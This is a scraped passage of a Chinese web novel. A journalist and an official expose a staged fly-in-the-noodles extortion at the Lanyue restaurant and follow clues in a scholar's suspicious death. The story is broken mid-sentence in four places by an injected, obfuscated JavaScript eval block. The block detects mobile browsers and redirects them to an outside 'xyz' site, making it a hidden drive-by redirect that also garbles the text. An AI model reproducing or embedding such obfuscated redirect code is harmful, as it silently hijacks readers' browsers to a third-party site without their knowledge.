“其中有一桩命案发生在上个月，案发地点就在揽月阁。据死者的朋友所讲，当时他正与死者一同吃饭，死者却突然倒地不起。待他去探察死者情况时，他已经没了鼻息。他急忙大声呼救，掌柜也迅速差人报了官。” “县衙中关于此案的卷宗记录，死者是陈疾发作而亡。但我觉得其中有许多蹊跷，故来揽月阁询问详情。” 后面的事孟允抒不用想就知道，肯定是在许昭问完话后，掌柜邀请他在揽月阁吃饭，但他执意不肯。 不知是不是因为此事属于意外事件，不算谋杀案，揽月阁的生意看上去并未受到命案影响，此时依旧人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406984|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满为患。 孟允抒嗅到一丝新闻的气息，想向许昭打听更多详情：“若不涉及案件机密，公子可否向我透露一二，你觉得此案有哪些蹊跷？” 许昭略一思索回答道：“案情的具体细节我不便告知于你，请姑娘见谅。不过有些消息早已公之于众，告诉你也无妨。” 他从案发当晚的事情开始讲起。 “死者名叫陈修远，自出生以来就患有心痹之症。他在一月以前的殿试中位列三甲，被赐予同进士出身。按照他朋友柳玉成的口供，那日他为陈修远祝酒庆贺，席间他的情绪十分激昂，却突然呼吸急促，倒地挣扎片刻就没了动静。情绪剧烈起伏的确会诱发心痹，或许正是因此，陈修远才会病发身亡。” “我重审此案后经过调查得知，陈修远身有固疾却调养得当，除过他幼时发过一次病，这些年来一直未犯。” 孟允抒与许昭对视一眼。 所以，陈修远的死因并不确凿。 “案发当晚也有其余食客在揽月阁中用膳，有些人在听闻此事后曾跑去陈修远处一探究竟。我找来这些见证人问话，他们描述的死者状况与卷宗记录倒是完全一致。” 卷宗上的案情描述来自陈修远的朋友与掌柜。至少在这部分上，他们没有撒谎。 “面色痛苦，口唇青紫，嘴巴大张，死不瞑目，符合心痹骤发的症状。”许昭沉声说道，“可中毒而亡者，往往也是这般模样。衙役们在现场时并未探查陈修远所用食器中是否有毒，如何能断定他的死因？” 孟允抒顿悟，压低声音问许昭：“你怀疑……” 许昭给出了肯定的答案。 “但凡事都要凭证据说话，尤其在断案时，绝不能先入为主地妄下定论。所以，我还需要多方调查，搜寻更多线索。” 他又讲起案件的最终处理结果。 “陈修远的亲戚都远在千里之外，他在京中有位名叫陈暄的同乡故友，他曾代陈修远的家人去县衙申冤，请求他们彻查此事。这案子没费太大功夫，半月前县尉宣布结案，此事被定性为意外事件，所以对柳玉成和揽月阁的处罚都不算重，由双方各自赔偿五十两银子就算了事。” 孟允抒疑惑：“一条人命只值一百两，陈暄以及陈修远的家人能满足于此吗？” “方才我问过潘掌柜案发经过和案件细节后，也向他提出此番疑问。”许昭回答，“潘掌柜说，陈暄对县衙给出的判罚不满却上诉无门，屡屡碰壁后，索性直接去找他和柳玉成。” “陈暄三番五次地上门叨扰，柳玉成坚称此事的主要责任不在于他，不愿多赔钱，而潘掌柜却出了八百两银子。” 孟允抒发现了疑点：“八百两不是个小数目，潘掌柜为何能掏得这么爽快？” “我也对此抱有疑问。”许昭赞同地点头，“据潘掌柜所说，这是因为陈暄死缠烂打，他不想让陈暄扰了他的生意，所以想要尽快息事宁人。” 但在旁人看来，这种行为颇有做贼心虚的意味。” 孟允抒陷入沉思，脑海中浮现出无数猜想。许昭掌握的信息显然比她更多，但他还未得出结论，她也不好妄加揣测。 一声怒喝打断了她的思考。 “真是晦气！你们赚了那么多钱，就让我们吃这种不干不净的东西？” 孟允抒和许昭一同望向声音的来源，只见店中好事的食客纷纷涌向那张靠墙角的桌子。 她出于记者本能，迅速拉起许昭跑了过去：“走，我们去看看。” 21. 食品卫生 两人赶至那处桌位时，围观群众已经将桌子围得水泄不通。很快有人注意到身着公服的许昭，众人小声议论着“是官府的人”，自觉地为他让开一条路。 孟允抒跟着他沾了光，免去了从人群中挤过去的麻烦。 不得不说，在有些时候，官方身份就是好用。 孟允抒看向坐在桌边的两名男子，他们都是满面怒容，双手抱臂，一副要与店家论个高下的架势。两人身旁站着名伙计，不停地向他们赔罪，让他们先息怒。 而在他们的桌子上摆着两个空碗，碗中只余吃完面后剩下的汤汁，以及两只仰面朝天的苍蝇。 从几人说话的内容中可以听出事情的经过：这两名男子来揽月阁要了两碗面，却在吃完后才发现碗底有苍蝇，顿时觉得一阵反胃，要求店家给出合理的解释和赔偿。 猜疑的情绪很快在群体中蔓延，“恶心”“想吐”的嘀咕声此起彼伏，有不少人也开始怀疑，自己是否吃下了不干净的饭菜。 在嘈杂的议论声中，系统的声音却尤为清晰。 【您已触发任务：七日内探明揽月阁的食品安全与卫生问题，并将真相公之于众。任务完成后您可获得300点声望。】 不愧是揽月阁，连任务奖励都跟着它水涨船高。 “诸位客官让一让。” 潘掌柜的声音由远及近，他急匆匆地跑到桌前，仔细瞅了眼碗里的苍蝇，对两名男子行了礼，而后赔着笑说：“两位客官，今日没让你们吃好是小店的罪过，确实该骂。” 他像是给众人澄清事实一般，高声说道：“但如各位所见，揽月阁中连半只蚊虫都没有，后厨的把关更是严格，你们的饭菜里绝不可能出现苍蝇。” 揽月阁的名声在外，可谓是有口皆碑。孟允抒经过亲身体验也发现，揽月阁的饭菜价格固然超出同行许多，但肆中的食物味道、店铺卫生状况、伙计们的服务态度确实都对得起这样的消费水准。 潘掌柜的话压下了一部分骚乱，可怀疑的种子一旦种下就难以根除，依然有不少人在窃窃私语。 桌旁坐着的一名男子冷笑道：“掌柜的意思是说，这事和你们没关系，不予赔偿？” “我并无此意，请客官不要误会。”潘掌柜连忙解释，“照我们店里的规矩，若是客官发现饭菜不干净，我们会按照您整单价格的十倍进行赔偿。钱财事小，可我们不能无故受冤，这有损揽月阁的声誉。” 他看看他们碗中的异物：“我方才已经问过后厨的厨子和帮工，您的面碗自始至终都没离开过他们的视线，这位跑堂的店小二也向您解释过，在为您上菜时，他并没有看到您的碗里有苍蝇。” “你们都是一伙的，谁知道你们是不是串供？”两名男子对他的解释并不满意，反驳他道，“再说，空口无凭，你们说没有就是没有？” 许昭身后的两人悄悄说道：“就是，我还听说揽月阁上个月出了桩命案，说不定那人也是吃了有问题的饭食才身亡的。” “对，揽月阁那个十倍赔偿的规矩也是在案发之后才设立的，说不定就是欲盖弥彰。” 孟允抒已经听完双方的叙述和证言，眼见流言开始在旁观者中发酵，她上前一步问道：“潘掌柜，还有这两位兄弟，既然你们双方各执一词互不相让，可否由我们临时充当判官，查证此事？” 潘掌柜欣然应允，两名男子看了看许昭身上的公服，脸上多了几分敬畏：“大人和姑娘请便。” 孟允抒用勺子舀起他们两人碗中的苍蝇，放在眼前仔细观察一番后交给许昭过目。 她见许昭蹙起眉头，想来他心中已有答案。 保险起见，她又和许昭带着两名男子去后厨转了一圈，确认其卫生情况如潘掌柜所述。 最后，他们回到桌前，再次将注意力集中在那两只碗上。 “方才我已听你们讲述了事件经过，但有些细节我想向你们再次确认。” 孟允抒面向那两名男子问：“据二位所说，你们是吃完面后才发现碗底有异物，而在此之前，包括搅拌面条的时候都并未看到苍蝇，对吗？” “没错。” 孟允抒又转向店小二：“你上菜的时候也没见到碗中有异物？” 伙计连连点头：“对。” “如此说来，这苍蝇一直待在碗底，所以各位起初并未发觉。” 潘掌柜想要辩解：“怎么可能！” 孟允抒让潘掌柜先冷静：“掌柜莫急，我只是根据各位的证词说出我的推断。” 当事人和旁观者都认可她的推论，孟允抒就继续说了下去。 “既然如此，这苍蝇应是一直被压在面条下方，在汤汁中浸泡许久。” 她举起勺中的那两只苍蝇，让众人看得更清楚些：“可这两只苍蝇的尸体完好无损，并未发生任何形变，甚至连翅膀都没有完全湿透。两位兄弟对此作何解释？” 不等他们作出回答，潘掌柜立刻反应过来，瞪大眼睛说：“这苍蝇是你们吃完面后自己放进去的！” “你们休要信口雌黄！”那两人恼羞成怒，反咬一口道，“你们有什么证据表明，这两只苍蝇是我们放的？” 孟允抒给许昭使了个眼色。 “若我没有猜错的话，证据应该就在二位身上。”许昭会意地说道，“你们是自己主动交出证据，还是等我搜身？” 那两人还在装糊涂：“什么证据？我们不明白大人的意思。” “那就对不住了。” 许昭上前一步，强硬地从一人前襟的口袋中掏出一个扁小的圆盒，打开盒盖公开示众，让在场所有人看清，盒子中空无一物。 明眼人都看得出来，这就是他们先前用来装苍蝇的容器。 许昭转向两名男子问道：“请问二位，为何要装着这样一个空盒出门？” 两人一时无言以对，互相用眼神暗示彼此想办法。 许昭的面色平静：“没关系，要是两位现在想不起来，那就请你们随我去刑部坐坐，与我细细道来。” 在那两人眼里，许昭现在分明就是凶神恶煞的形象，他们稍有不慎可能就会被带走坐牢。 两人见势不妙光速滑跪，一边磕头一边认罪：“大人饶命，我们不是有意欺瞒您。” 他们又连忙向掌柜赔罪：“潘掌柜，我们知错了，您大人不记小人过，就原谅我们这一次吧。” 许昭让他们起来说话，潘掌柜则怒不可遏：“你们差点砸了我揽月阁的招牌！说，你们为何要污蔑我们？” “前些日子我们听说，揽月阁出了新规矩，就是您说的，要是发现饭菜不干净，就能得到原价的十倍赔偿。”一名男子惊慌失措地说道，“我们贪图钱财，一时鬼迷心窍，这才出此下策。我发誓，我们再也不敢了！” “我看你们分明是胆大包天。” 一句话出口，众人纷纷愣怔地看向孟允抒。 孟允抒佯装怒道：“都这个时候了，你们还不说实话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416206|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当真是不见棺材不落泪。” 不单是那两名男子，潘掌柜听到这话也十分诧异：“姑娘何出此言？” “揽月阁的规矩是按整单价格的十倍赔偿，他们如果从一开始就打着讹诈揽月阁的主意，为何不多要些饭菜，而是只点两碗素面？” 她看向那两名男子，他们虽穿着粗布衣衫，但着装整洁，不至于连两盘家常菜的钱都掏不起。 “他们这样下来赚不到一两银子，何苦如此大费周章。” 孟允抒心中有了一个猜测，见那两人还想掩饰，决定先诓他们一下。 “你们是受人所托，犯不着把自己也搭进去。当然，两位要是想去看看牢房的光景，我也没意见。” “不不，我们说。”那两人见孟允抒已经道破真相，只能如实招来，“我们是福临楼里的帮工。” 潘掌柜恍然大悟：“我说最近怎么总有人在揽月阁中捣乱，原来是你们福临楼干的好事！” 福临楼是另一家中型食肆，与揽月阁相隔一条街。它的开张时间比揽月阁更早，作为老字号一度与揽月阁平分秋色。但一山难容二虎，随着揽月阁的生意愈发红火，规模日渐扩张，福临楼的营收每况愈下，店里的光景已经不复从前。 这两个伙计害怕他们掌柜怪罪，可这边有许昭坐镇，又有孟允抒步步紧逼，他们觉得还是性命要紧，一股脑地将真相倒了出来：“我们掌柜说，是您抢了他的生意，所以叫我们来给您泼脏水，搞臭揽月阁的名声。” 这样一来，顾客就会涌向其他食肆，福临楼能从中分一杯羹。 “歹毒，卑鄙！”潘掌柜对他们的手段作出评价，“今日要不是有许大人和这位——” 孟允抒笑笑：“我姓孟。” 掌柜接着她的话说了下去：“和这位孟姑娘明察秋毫，揽月阁就是跳进黄河也洗不清！” 见潘掌柜大骂两个伙计，孟允抒劝解道：“掌柜息怒。这是他们两人的一面之词，我们还应继续查证。即便此事真是福临楼的掌柜一手策划，这二人也只是被逼无奈，您骂他们也没用。” 孟允抒替那两名男子解了围，他们连声向孟允抒道谢。 “道谢就先免了，我且问你们，方才你二人所言是否属实？” 他们看了看孟允抒身边的许昭，慌忙答道：“那是自然，我们所说句句属实，不敢有半点虚言。” “很好。” 孟允抒转过身面向围观群众，将声音抬高几分，趁机打起了广告：“既然我已提出查明此事，就会负责到底。我是黎民报社的社长，自始至终坚持将新闻真相带给诸位读者。各位若是想了解此事内情与后续，可于明日买份黎民日报一览事件脉络。” 在大家七嘴八舌地议论起“黎民报社”的时候，孟允抒对那两名伙计说道：“二位要是想保全自身，就带我去找你们福临楼的掌柜当面对质。” 他们点头应允，潘掌柜也恭敬地作了一揖：“难怪孟姑娘机敏过人，原来是报社的探官。” 对于她提出的解决方案，潘掌柜则说道：“那就有劳孟社长带我跑一趟了。我这边抽不开身，先派个伙计随你一同前去。” 见事情已经告一段落，旁观的食客陆续散开，孟允抒转头向许昭说道：“那我先去福临楼，你吃完饭后就回官府吧。” “不，我也和你一起去。我也正巧要去福临楼中寻人。”沉默半晌的许昭抬起头来，“陈修远的那名同乡好友陈暄，正是福临楼里的帮工。” 22. 内幕 新闻与案件都是刻不容缓的事物，孟允抒和许昭带上揽月阁、福临楼的三名伙计，马不停蹄地赶往福临楼。 按照孟允抒事先交代过的流程，两名伙计打头阵走在最前方，进了福临楼的大门就大喊道：“掌柜，大事不好了！” 一个中年男子快步从后厨中走出，先是给他们打了个压低声音的手势，而后一脸不耐烦地问：“大呼小叫的干什么，你们没见到这儿有这么多客官吃饭？” 趁着他们进门的这会功夫，孟允抒已经迅速将福临楼上下打量了一番。 福临楼开张有些年头了，连大门上的朱漆都脱落不少。不过瘦死的骆驼比马大，即便福临楼的营收大不如前，肆内的食客依然不在少数，他们的高谈阔论溢满整间店铺，全无孟允抒此前想象的凄凉萧索。 从这点来看，福临楼的掌柜依然在乎自己的声誉，不至于破罐破摔。 只要他还有软肋，交涉起来就不会太困难。 掌柜将两个伙计训斥一通，望见他们身后跟着的孟允抒等人，看他们不像是来吃饭的样子，疑惑地问道：“这几位是？” “这位是刑部郎中许大人，这位是黎民报社的孟社长。”两个伙计又反过来向他们介绍道，“这就是我们店的刘掌柜。” 双方互相行了礼，孟允抒率先问道：“刘掌柜，这两位可是你们福临楼里的帮工？” 从方才刘掌柜的反应来看，这个问题的答案已经明了。 他点头道：“正是。不知几位前来是有何事？” 孟允抒瞥了眼店中的食客，不少人将目光投向他们，显然是被许昭身上的那件公服吸引了注意力。 “有些事我们想单独问问掌柜，不知您能否行个方便？” 许昭的名号再次发挥了作用，虽然刘掌柜尚不知晓他们来此处的目的，却也不敢怠慢。 “那是自然，几位请。” 刘掌柜带他们来到后院的房间内，几人落了座，刘掌柜差遣伙计去端茶，孟允抒阻拦道：“掌柜不必拘礼，我们要问的不是什么要紧事，若是您愿意配合，我们几句话就能说完。” 孟允抒直入正题，指着那两个帮工问：“请问掌柜，可是你唆使这两名伙计在揽月阁的饭菜中投放异物，凭空污人清白？” “什么，你们做过这事？”刘掌柜惊疑地看看两个伙计，向孟允抒大呼冤枉，“好端端的，我怎会让他们去揽月阁污蔑旁人，孟社长何出此言？” 孟允抒看了眼福临楼的两名伙计，他们赶忙上前劝道：“掌柜，方才在揽月阁时两位大人就已经查明真相，您快和他们说实话吧，坐牢可不是闹着玩的。” 刘掌柜还是一头雾水的模样：“什么真相？” 两个伙计向他概述了事件全过程，刘掌柜赶紧向孟允抒和许昭解释道：“两位大人不能相信他们说的话。平日里我对他们严加看管，他们对我积怨已久，如今故意使出这样下三滥的伎俩，再把这污名强加于我，这分明是报复！” 两个伙计先是一愣，而后又急又气地说道：“掌柜，我们是听令行事，如今事情败露，你不能弃我们于不顾！” 孟允抒并不相信这两人能想出这样曲折的计谋。 更何况，砸福临楼的招牌就等于砸他们自己的饭碗。 她不紧不慢地说道：“掌柜若是非要装傻充愣，那看来我们也不必在此白费口舌，回头自有刑部的人来上门接你。” 刘掌柜的脸色一白，孟允抒继续向他施压：“而且在揽月阁时，许多人曾围观此事，知晓内情。掌柜要是不怕众口铄金，损毁福临楼的清誉，那就当我多管闲事。” 说罢，她起身欲走。 “别，两位大人留步。”他讪笑着请孟允抒和许昭重新坐下，“大人对不住，我不是有意瞒你们。” 他叹了口气，老老实实地交代自己的动机。与那两个伙计所述一致，他的确是出于商业竞争的目的，这才出此下策。 说着，他又为自己的行为作辩解，咬牙切齿地说：“我知道这手段不光彩，可揽月阁的食器本身就不干净，他们昧着良心赚钱，我不过是把这事捅出去罢了。” 许昭发现一个重点问题，追问他道：“你为何说揽月阁的食器不干净？” “旁人都是这么说的。”刘掌柜回答，“上个月揽月阁中发生命案，陈修远死得突然，大家都说是他所用食器有问题，而潘掌柜为掩人耳目买通了县尉，对外宣称他是突发陈疾而亡。” 孟允抒问：“这些都只是传言，不足为信。你可有其他确切证据？” “我不是官府的人，案发当晚也不在现场，且与陈修远只有一面之缘，哪里来的证据。”刘掌柜说着，一拍脑袋想起一个关键人物，“对了，陈暄。” 听到这个名字，孟允抒和许昭都坐直身子，凝神听他继续讲下去。 “陈暄是陈修远的同乡好友，几年前来我们店里帮工，吃住都在铺中。他在休息时总是捧着书看，后来我问他得知，他是个秀才，参加了两次乡试都未能中举。他家中现在只剩下他一个人，就索性到京城做工，一边赚钱一边备考。” “大概三个月前，陈修远进京赶考，陈暄曾带他来福临楼中吃饭。我听陈暄说过去他们两家离得近，二人自幼相识，是二十几年的挚友。” 刘掌柜讲述着事情的来龙去脉，这些与许昭掌握的情报相吻合。 “殿试放榜后，陈暄看起来很高兴，嘴里念叨着陈修远十几载寒窗苦读，如今终于有了回报。” 在他的描述中，孟允抒觉得陈暄和陈修远的交情甚笃。 刘掌柜的语气中充满惋惜：“但在其后没过几天，陈修远就意外亡故了。从那天起陈暄就四处奔走，想为陈修远讨个公道。上诉未果后，他又跑去找揽月阁和柳玉成的麻烦，要求他们供出案件真相。” 许昭打断他的话提问：“陈暄为何认定这案子的判罚有误？” “他说陈修远的性格豁达爽朗，又格外注重自身修养，平日控制情绪得当，这么多年来都未曾复发陈疾，怎会突发心痹而亡？” “除此之外，潘掌柜的举动更是坐实了他的猜测。陈暄上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432207|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几次后，潘掌柜没再赶走他，而是给他赔了八百两银子，让陈暄不要再揪住此事不放，否则他就去报官。” 刘掌柜敲敲桌子：“这真是奇怪。揽月阁中雇有打手，潘掌柜完全可以将陈暄拒之门外，时间久了他自然会消停。更何况陈暄无权无势，他能有多大的能耐，潘掌柜为何会因为他的纠缠轻易让步？” 孟允抒和许昭先前也曾对此产生怀疑，潘掌柜给出的理由不能服众。陈暄由此认定，陈修远的死一定与揽月阁有关。 “陈暄收了潘掌柜的银两交给陈修远家人，也不好继续在明面上闹事，但我知道他心里始终憋着一口气。”刘掌柜讲道，“我本来就和潘掌柜不对付，我们俩互相给对方明里暗里地使绊子，最近陈暄给我出了不少主意。” 刘掌柜回到当下的话题，对孟允抒和许昭说：“今日诬陷揽月阁之事也是他一手谋划，我顶多只是点了个头，你们应该找陈暄问罪。” 孟允抒明白了，陈暄这是存心报复揽月阁，故而借刀杀人。 许昭问道：“陈暄今日可在铺中？” “在。”刘掌柜赶紧对旁边的伙计吩咐道，“快去把陈暄叫来。” 几人聊了没几句话，伙计就快步进来说道：“两位大人，陈暄已经带到了。” 孟允抒抬眼看了看陈暄，这人中等个头，体型偏瘦，颧骨较高，这让他显得有些阴郁。 许昭的身份最容易辨认，陈暄直勾勾地盯着他，开口说道：“大人今日前来，是要把我抓去用刑，好让我自此闭嘴吗？” “哎，你怎么和许大人说话呢！”刘掌柜喝止他继续说下去，转头对许昭赔着笑说，“他就是这脾气，但是没什么坏心思，您别见怪。” 孟允抒心想，许昭较真的时候比陈暄说话难听多了，他对此肯定没什么感觉。 许昭问了陈暄一些案情相关的问题，又与他确认刘掌柜所言属实，看向他问道：“你为何会认为我是来抓你的？” 陈暄淡然说道：“我先前替修远申冤时，县衙的大人们常以各种理由把我抓起来挨板子，我都习惯了。” 重建信任绝非易事，许昭沉默许久，不知该如何回应。 “许大人和他们不一样。你若确实有冤，他定会助你查明真相。” 孟允抒的话掷地有声，像是在说一个不容置疑的事实，这让许昭和陈暄都转过头，一齐望向她。 陈暄质问孟允抒：“你与许大人是什么关系，又如何能作出此番保证？” “我与许大人是朋友。” 眼见着许昭的神情逐渐落寞，孟允抒不易察觉地碰碰他的胳膊，提醒他配合自己演戏，面带微笑地说道：“我是黎民报社的社长，此番同他一起前来调查事件，为的就是将真相昭告天下。横竖你也找不到突破口，不如与我们合作。” 陈暄的目光从两人脸上依次扫过，将信将疑地问：“你们需要我做什么？” “很简单，回到揽月阁找潘掌柜。”孟允抒对他说道，“你有什么疑问就尽管抛出来，看看潘掌柜能否对答如流。” 23. 纠缠不休 从见到陈暄的那一刻起，潘掌柜就是一副头痛欲裂的表情。 他带着几人寻了处空房坐下，刚落座就拧着眉头问孟允抒和许昭：“两位大人，你们帮我挽回声誉，我感激不尽。但你们把这个大麻烦带来干什么？” 看得出来，潘掌柜被陈暄折磨得不轻。 孟允抒顺着他的话茬，半是调侃半是提问道：“陈暄是一介草民，潘掌柜财大气粗，还拿他没办法？” “看您这话说的。”潘掌柜回答，“我能让他进不来揽月阁，却拦不住他在外面诋毁我们的名声。” 说到这，他苦着张脸看向陈暄：“我已经给你赔了银子，你为何还是不依不饶？” 陈暄的语气略带讥讽：“怪不得人皆爱财，有了银子就可以颠倒黑白，肆意篡改真相。” 潘掌柜气血上涌，他拍案而起，指着陈暄的鼻子反问：“你凭什么认定陈修远一案与揽月阁脱不了干系？就因为我好心赔了钱？好人当真做不得？” 掌柜的声音一句比一句高，许昭劝他先冷静，听听陈暄怎么说。 “潘掌柜完全可以对我的诉求不予理会，甚至以寻衅滋事为由把我交给官府处置，可你非但没有这么做，反而给我赔了银子，并且反复劝诫我就此罢手。由此可见，你不想让我把事情闹大。即使修远的事与掌柜无关，你也肯定对我有所隐瞒。” 陈修远的脸上显露出一丝哀伤：“我并非有意与掌柜作对，但我必须知晓修远的真正死因。当前我一筹莫展，只能试图从你这里获取线索。” 所以，陈暄就拼了命地给揽月阁找事，在此胡搅蛮缠。 孟允抒觉得，陈暄和萧谨言还有许昭都挺一根筋的。 或许这就是读书人的共性。 “但我确实与陈修远一案无关，你让我怎么说？”潘掌柜看起来一副快要崩溃的样子，“自案发后就总有传言说揽月阁的食器或饭菜不干净，为此我才特意出了新规。当时我经不起半点波折，就想尽快解决纠纷，你却不肯放过我。” 双方各执一词，他们陷入了僵局。 孟允抒见潘掌柜不为所动，只能另想他法。 她回顾案情，潘掌柜愿意给陈暄作出赔偿，证明他至少还有些良心。她或许可以把这点当作突破口。 孟允抒试探着说道：“潘掌柜，既然你问心无愧，又已经作出赔偿，陈暄却仍然毁你声誉，那就不必手下留情，和他在这白费口舌。此等无赖就该给他些教训尝尝。” 她看了看许昭：“正好许大人今日在此，待会顺便把陈暄带回官府，让他受点皮肉之苦，这下他就能老实一阵，不再打扰潘掌柜。” 许昭愣了愣，他不知道孟允抒唱的是哪出，却依然配合地点点头。 陈暄比他先回过神，大骂孟允抒道：“亏我方才信了你的鬼话，竟没看出你心如蛇蝎！” 孟允抒倒是希望他多骂两句，这样效果更逼真。 “住口。”孟允抒佯装怒道，“潘掌柜心善，你却对他死咬不放，不知丧尽天良的人是谁！” 她回头对许昭说道：“许大人，麻烦您快把这泼皮抓走，好还潘掌柜一个安宁。” 见许昭起身去押陈暄，潘掌柜慌忙阻拦道：“等等。” 他脸上挤出一个微笑：“不劳许大人费心，此事我们私下解决即可。” 孟允抒心里有了底。 陈暄说得没错，潘掌柜确实心里有鬼。 孟允抒故作惊讶道：“掌柜这是何意？” 许昭也察觉到潘掌柜的反应异常，附和着孟允抒问道：“陈暄屡次找你的麻烦，现今我们把他依法处置，你为何要阻拦？” “我确实不胜其烦，但他犯的都是些小事，两位不用如此大动干戈。” “不行。”许昭斩钉截铁地说道，“国有国法，掌柜不该袒护他。” 这句话实在太符合许昭的人设，孟允抒不知道他是演的还是真的。 在两人的拉扯之中，潘掌柜急得跺脚，口不择言道：“你们一个两个怎么都犟成这样，这案子查下去对你们有什么好处？” 在场所有人都听出他的弦外之音。 许昭的神色一凛：“听掌柜的意思，你是劝我们不要深究此案？” 潘掌柜连忙辩解：“不是，我……” “扑通”跪地的声音打断了他的话。 陈暄双膝跪地，可腰板却挺得笔直，神情庄严。 他高声说道：“潘掌柜，修远与我是至交好友，我不能就这样看着他不明不白地走了。我恳求您将实情告知于我。” 他弯下腰去，将额头磕向地面。 “拜托了。” 潘掌柜的眉头拧得更紧了：“你这是做什么，赶紧起来！” 陈暄重新站起后，潘掌柜背起手摇着头，在屋内快步走了几个来回，最后重重叹了口气，坐到椅子上。 他将视线投向屋中的地毯，用目光细细描摹着上面的图案。 “我从六岁起就四处流浪，过着饥一顿饱一顿的日子，靠着给人当学徒做工攒了些钱，后来慢慢开起了这间食肆。” 潘掌柜没有过多描述这些经历的细节，但不用想也知道，一个孤苦伶仃的乞儿白手起家，一步步走到今天，其中定是饱尝心酸。 “其实，我幼时并未想过长大后我会从商。若是能够选择，我更希望有机会读书入仕。”他抬眼看看陈暄，“你和陈修远都是出身贫寒的读书人，你们遭此劫难却申冤无门，我于心不忍，因此主动赔了银两。” 就在孟允抒以为潘掌柜要把内幕告诉他们时，他却来了个转折句。 “可揽月阁是我毕生心血，我必须谨慎行事。” 潘掌柜看着眼前的三人：“经商之人难免要与各方势力打交道，要学会圆滑处事，许多事辨得太清对自己没好处。这个道理同样适用于其他方面。” 他语重心长地说道：“几位听我一句劝，此事吃力不讨好，你们别再查下去了。” 根据潘掌柜所说的话，孟允抒已经可以肯定，他的确知道案件的隐情。 而且听他的口气，其中应当还牵扯到一些权贵或富庶之人。潘掌柜像是顾忌于此，才迟迟不肯对他们如实相告。 孟允抒轻叹一声：“多谢掌柜劝告，我也明白您的苦衷。” 在过去的采访中，她也经常能见到因为害怕祸及自身而故作无知的当事人。 不是每个人都有勇气讲真话。 “只是我有一问想请潘掌柜作答。”孟允抒转而问他，眼中迸射出锐利的光芒，“若人人都像您这般装聋作哑，倘若某日您蒙受冤屈，旁人却对此置若罔闻，掌柜又该当如何？” 潘掌柜的面色有一丝松动：“话是这么说，可是……” “潘掌柜，我出身寒门，靠着读书考试才得以入朝为官，一路走来见过太多不平，也经历了不少磨难。” 许昭看了看端坐在椅子上的陈暄，像是见到了昔日的自己。 “现今我既然有职权在身，就绝不会对冤情视而不见。此案我一定会彻查到底。” 许昭的语气坚决，潘掌柜忍不住问他：“为几个不相干的小人物，大人甘愿以身涉险，这样值得吗？” 对此，许昭只作出了一句简短的回答。 “我先前也是和他们一样的‘小人物’。” 在潘掌柜沉默之际，许昭又开口说道：“我曾听闻许多屈打成招的案例，所以在为官之后，若非必须，我不会对人用刑。” 孟允抒听出来了，这是一句自证，也是一句警告。 许昭这是先礼后兵。 潘掌柜显然也明白了许昭的弦外之音。在他们的软硬兼施下，他认命地往椅背上一靠。 终于，他吐露出一条线索。 “大人若是有心查明此案，应当从柳玉成处着手调查。” 潘掌柜抬起头看向许昭，将他案发后的经历一一道来。 “那日陈修远意外身亡，县衙的人来勘查了现场，他们了解过大致情况，将我与柳玉成带走审问。审讯结束后，因为案件真相尚且不明，我与柳玉成都被暂时关押在牢中，听候发落。” “直至此时我都没明白发生了什么，万分忧心于自身清白。柳玉成见状和我搭上了话，他劝我不要细究此事，免得惹祸上身。柳玉成说，只要我肯听从县衙的安排，并且对今日之事守口如瓶，他就能保证我性命无虞，同时揽月阁的声誉也不会受损，对我作出的罚金将由他承担。” “我对此将信将疑，却也不敢轻举妄动。过了几日，结果的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444403|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确如柳玉成所说，此事就这样被轻轻放下，他也兑现诺言，给了我五十两银子。” 潘掌柜回忆着整件事当中的蹊跷之处：“柳玉成事先就能知道判决结果，从那几日县衙的人对我们的态度也能看出，他应该已经提前打点好了一切。既然他能摆平这种人命官司，背后势力定是不容小觑。” 孟允抒和许昭对视一眼，交换了一下彼此的观点。 如果潘掌柜没有说谎，那么柳玉成的嫌疑很大。 “多谢潘掌柜坦言相告，稍后我会派人在暗中防守，近日将由他们保护你的安全。” 此举的另一个目的就是在揽月阁处布防盯梢。 